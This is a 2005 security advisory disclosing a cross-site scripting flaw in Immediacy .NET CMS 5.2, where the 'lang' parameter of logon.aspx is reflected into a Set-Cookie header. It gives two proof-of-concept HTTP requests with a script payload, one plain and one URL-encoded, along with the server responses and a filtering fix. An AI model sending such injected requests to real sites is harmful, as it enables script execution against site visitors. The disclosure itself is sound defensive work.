Immediacy .NET CMS possibly vulnerable to Cross Site Scripting through a malformed cookie
PR05-06: Immediacy .NET CMS possibly vulnerable to Cross Site Scripting
through a malformed cookie
This advisory has been published following consultation with UK NISCC
<http://www.niscc.gov.uk/>
Date found: 2005-02-27
Vulnerable: Immediacy .NET CMS 5.2
Severity: Low
Author: Gemma Hughes [gemma.hughes at procheckup.com]
Vendor Status: CVE Candidate not Assigned
Description:
Immediacy CMS appears to allow Cross Site Scripting attacks via a
malformed 'Set-Cookie:' header. This issue concerns the 'logon.aspx'
program and 'lang' variable. This could allow attackers to cause the
execution of malicious script code within the context of the vulnerable
site.
Note: web browser-specific CRLF injection techniques may be required in
order to exploit this issue.
Information:
REQUEST:
GET
/logon.aspx?lang=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
HTTP/1.1
Host: example.host.co.uk
Cookie: ASINFO=...; ASP.NET_SessionId=...; CNBOOK=...;
ASPSESSIONIDSCDAQTST=...
Referer: http://example.host.co.uk:80/environ.pl
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461;
.NET CLR 1.0.3705)
Connection: close
RESULT:
HTTP/1.1 302 Found
Connection: close
Date: Sun, 27 Feb 2005 19:18:31 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /generalerror.aspx?aspxerrorpath=/logon.aspx
Set-Cookie: lang=<SCRIPT>alert('Can Cross Site Attack')</SCRIPT>;
expires=Mon, 27-Jun-2005 18:18:31 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 161
Set-Cookie: ASINFO=...
Set-Cookie: CNBOOK=...
Cache-Control: proxy-revalidate
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a
href='/generalerror.aspx?aspxerrorpath=/logon.aspx'>here</a>.</h2>
</body></html>
It is also possible to submit the request using byte-encoded characters:
REQUEST:
GET
/logon.aspx?lang=%3CSCRIPT%3Ealert%28'Can%20Cross%20Site%20Attack'%29%3C%2FSCRIPT%3E&page=272&
HTTP/1.1
Host: example.host.co.uk
Cookie: ASINFO=...; lang=cy; ASP.NET_SessionId=...; CNBOOK=ClearNet;
ASPSESSIONIDSCDAQTST=...
Referer: http://example.host.co.uk:80/default.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461;
.NET CLR 1.0.3705)
Connection: close
RESULTS:
HTTP/1.1 302 Found
Connection: close
Date: Sun, 27 Feb 2005 19:29:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /generalerror.aspx?aspxerrorpath=/logon.aspx
Set-Cookie: lang=<SCRIPT>alert('Can Cross Site Attack')</SCRIPT>;
expires=Mon, 27-Jun-2005 18:29:27 GMT; path=/
Content-Type: text/html; charset=utf-8
Content-Length: 161
Set-Cookie: ASINFO=...
Set-Cookie: CNBOOK=ClearNet;path=/;domain=.host.co.uk;expires=Fri, 31
Dec 2010 00:00:01 GMT
Cache-Control: proxy-revalidate
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a
href='/generalerror.aspx?aspxerrorpath=/logon.aspx'>here</a>.</h2>
</body></html>
Consequences:
An attacker might cause the execution of malicious script code in the
client (web browser) within the context of the site running the
vulnerable version of Immediacy .NET CMS.
Fix: Contact vendor. Ensure all input is filtered, especially the '<'
and '>' characters.
References:
http://www.procheckup.com/Vulner_PR0506.php
http://www.immediacy.co.uk/
Legal:
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Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if the Bulletin is not
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purposes. Any other use of this
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